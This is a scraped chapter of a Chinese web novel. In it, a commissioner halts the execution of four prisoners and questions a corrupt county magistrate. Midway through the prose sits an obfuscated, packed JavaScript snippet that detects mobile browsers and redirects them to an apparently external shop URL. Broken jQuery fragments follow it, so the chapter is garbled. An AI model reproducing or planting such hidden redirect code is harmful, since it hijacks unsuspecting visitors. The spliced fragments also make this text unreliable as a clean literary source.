15. 第 15 章

作品:《强娶落魄太子后跑路了

    “他妈的,这四个鳖孙还活着!”


    “那不废话吗?脑袋还没砍呢!”


    曾大壮、郑大勇、罗大强、易大志此时正颤颤巍巍地站在囚车里。真正要面临死亡时,再刚强的汉子也忍不住怂了。更何况是本就不那么刚强的汉子。


    “艹你大爷,老子们还没死呢,就扔这破鸡蛋破菜的想熏死我们!”


    郑大勇一抹自己脸上糊着的臭鸡蛋,又一想到等下自己就身首异处了,无尽哀戚便涌了上来。郑大勇就忍不住泪流满面了,抓着曾大壮的袖子喊:“我艹了!老大,我们真的只能死了!老大老大,你快想想办法啊老大,我们都还不想死啊!”


    平日里总喜欢同郑大勇呛声的两个兄弟也不说话了。这等关头,大家都丧失了攀谈的欲望。只剩下了,等死。


    倒也不必真死啊!


    曾大壮一直在扫视着囚车下。他宽慰了郑大勇几句:“再等等吧。没准之前那人会来救我们。”


    郑大勇一怔,第一次给了曾大壮一拳:“老大,你疯了吗?合着你说了那么久的后手,就是把希望寄托在那样一个连一张脸都不敢露的猥琐鬼身上?还和我们说你有后招,你!曾大壮!你他妈是脑残吗?”


    曾大壮忍住脾气:“那个人会来救我们的,你不要急。”


    “马上要死了还能不急?!”郑大勇一拳锤在囚车上,震得车晃了一下。


    一旁的卒狱感受到这震动,一看是郑大勇,冲他吼道:“干什么呢?死到临头了还不老实,等会儿给你多砍几刀!”


    还不想给他死个痛快!


    郑大勇马上又陪笑道:“大哥,倒也不必这样。”


    沉默许久的易大志突然啐了一口:“呸,死鳖孙!我们是为林大人办事,可到头来却落了个如此下场。早知道林大人是这种过河拆桥之人,我等又怎会为他卖命!”


    那狱卒大吼:“嘴巴放干净点,别在这里随意攀咬!林大人的为人是我们有目共睹的,你们几个别想着在这里乱说!”


    一颗烂菜啪的一声,糊在了易大志的脑门上。这臭味熏得他脑仁痛。


    他暴躁地把才从脸上摘下来,眼神凶狠地看向前方。囚车却突然停了下来,让他差点没站稳。


    一个个子很小的老妇人挡在囚车前。她的背佝偻了,她的眼眶深深陷了进去,眼神却亮得吓人。此时她纹丝不动地挡在路中间,像一块磐石。


    “喂,干什么呢?一个老太婆还想劫法场不成?”一前列的狱卒拿长枪指着老妇人道。


    老妇人抬起脸来,却并没有理这狱卒,而是在那里用尽了平生最大的声音喊道:“这四个孩子是冤枉的!就算你们是官家的,你们也不能草菅人命!”


    突然冲进来一个老妇人,旁边正忙着扔臭鸡蛋的人们突然一滞。有人问老妇人:“老奶奶,你疯了吗?替这四个死刑犯说什么话?”


    “老人家,别犯傻,莫要被这四个坏人给骗了!”


    “快过来吧老人家,你再在那里,小心狱卒大人要打人了,你这身子骨可受不住啊。”


    可老妇人并没有走,而且还继续吼着:“他们四个不是什么坏人!我也没有被他们蒙骗,我之前养过他们,知道他们是什么为人!”


    曾大壮他们终于看清了这个老妇人是谁。


    竟然是很久之前收留过他们的大娘。


    那时候,四大害还不是四大害,只是四个孱弱的孩子。他们没有父母,只能在街头流浪着,不知道哪天就会在饥饿中死去。那是一个冬日,他们就在被雪埋葬在悄无声息的午后。她却突然出现,把他们四个带回了家。


    她给他们煮了热饭热汤,让他们活了过来。他们感激流涕,问她姓名,说自己日后一定想方设法报答她的恩情。


    她摆手,微笑着摸摸他们的头:“你们以后只要做一个不伤害他人的人,我心里就踏实了。”可他们还是追问她的名字,最后她拗不过他们,笑着道:“我没有名字,以前他们叫我二丫头,现在叫二婶子。”


    “我二老太今天不会退。”她神色坚定。她之前失去了很多孩子,又在这几日失去了二牛,今日不能再失去这四个孩子了。


    “老太太,你真的要在这里吗?”狱卒们已经将她围了一圈,为首的人试图劝服她:“别这么倔。又非亲非故的。你堵在这里活活送死不成?”


    二老太还是不走。见她这样执着,为首的狱卒也只能下令:“将她拖走!干扰法场纪律,打十五大板!若是违抗,就地处决!”


    十五大板对于一个瘦弱的老太太来说,不算什么很轻的惩罚。况且二老太一看就是死心眼得很,估计是奔着和四大害死一块儿去的。


    眼见着二老太就要被人刺中,人群中突然又冲出去来一人,高喊:“住手!”


    那声音清脆果决,又带着一丝紧张。


    风临从人群中好不容易挤了进去,冲狱卒大喊:“别动手!大人有令,此事容后再议,暂停行刑。”


    为首的狱卒奇了:“你又是从哪里冒出来的?还暂停行刑?哪个大人说的,我怎么不知道?”


    二老太一眼就看到了风临,本来昂首挺胸一脸坚毅的她却低下头搓起了手。


    风临正色厉声道:“钦差大人冯靳大人路过,听闻此事后,有意主查此事。尔等还不恭候大人。”


    狱卒还是不信:“钦差大人在哪呢?你光是一张嘴说,谁都有一张嘴,这动动嘴皮子的事……”他话还没说完,却见远处有人来了。


    风临见众人停下,立刻检举林县令的罪行:“钦差大人已经知晓,此事主谋并非四大害,而是另有其人。这个人就是,林县令。”


    风临这话一出便惊起千重浪,震得众人目瞪口呆。


    就在众人目瞪口呆之间,钦差大人的马车已然停在人群外围。侍从恭敬地为钦差大人掀起车帘,露出来一个身着朴素衣裳的中年男子。但此男子眉宇间尽是威严气魄,他便是钦差冯靳。


    风临朝着钦差大人的方向弯身行礼,恭敬道:“恭迎冯大人。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053156|193492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其他人见着冯靳旁边的侍从亮出了黄金令牌,也纷纷低下头行礼。


    冯靳已经走出了马车,扫视了一圈周围的百姓,看到地上一片狼藉,微微皱眉,冲大家道:“听你们之中有个叫风临的,是谁啊?”


    冯靳本来不打算来新舫的,但他却收到一封密信,这信上说新舫发生了一些大事,事关瘟疫,甚至还和京城里的人有关。他本不该相信这种无稽之谈,可这信的细节上又实在让人信服。而这信的落款人便是风临。


    风临身边的百姓自觉地向旁边挪了挪,为风临让出来了一条路。


    风临站直身体,对冯靳道:“正是民女。”


    竟然是个柔弱的女子,冯靳有些意外。他仔细端详了风临一番,觉得此人心性坚毅,非普通人。他满意地点了点头,问:“你在信上说的可是真的?”


    风临道:“眼见为实,耳听为虚。大人可让人搜寻证据。民女不敢妄言。不过民女在信中绝非虚言。”


    这话说的委婉,如果直白了说就是,风临说的都是真的,冯靳都自个儿来了还问啥呢?


    冯靳道:“不必了。本官来之前已然对此事有了解。本官已经知道来龙去脉,来人,先将这四个犯人押回牢中,容后再审。”


    听到这一消息,郑大勇等人都懵了,像是突然被重大喜事给击中了然后无法思考。等他们反应过来时,他们已经回到了牢里。郑大勇第一次感觉有种宾至如归的感觉。


    另一边,冯靳带着风临去了林府。


    冯靳此次突然来访,林县令毫无准备,但表面上仍然是一种宠物不惊的模样。林县令出来迎接冯靳,露出笑容道:“不知冯大人前来,下官有失远迎,失了礼数,失了礼数啊。”


    冯靳坐上首位,而风临则立在他身旁。


    林县令见到风临后,立马脸色一变,但还是立刻恢复了笑容:“竟不知风姑娘与大人是旧相识。”


    风临道:“冯大人只是来查案时需要民女作为证人罢了。民女与冯大人并非旧相识。”


    林县令正要再言,却被冯靳抢了先:“林县令,你作为新舫的父母官,对坟山一事未免决断地草率了些。你确定那四个人背后没有主使?若是没有主使,那么,这四个人用蝙蝠和死尸去炼制那么多的五福丹,总不能全是给他们自己吃了吧?”


    冯靳目光如炬,静静注视着林县令,等他回答。


    林县令面色不变,袖中的手却微微收紧,随即从容笑道:“大人明察。那四人虽是小民,却与外地药商勾结,暗中贩卖五福丹,牟取暴利。至于背后是否还有他人指使……下官也曾严加审讯,可他们口风极紧,始终咬定是自己所为。”


    “哦?”冯靳指节轻敲桌面,“那你可曾查过,他们与何人交易?丹药流向何处?”


    “这……”林县令露出为难之色,“下官派人追查过,但那药商行踪诡秘,每次交易皆在不同地点,接头人亦屡次更换,实在难以深究。”


    风临忽然开口:“难以深究,还是不愿深究?”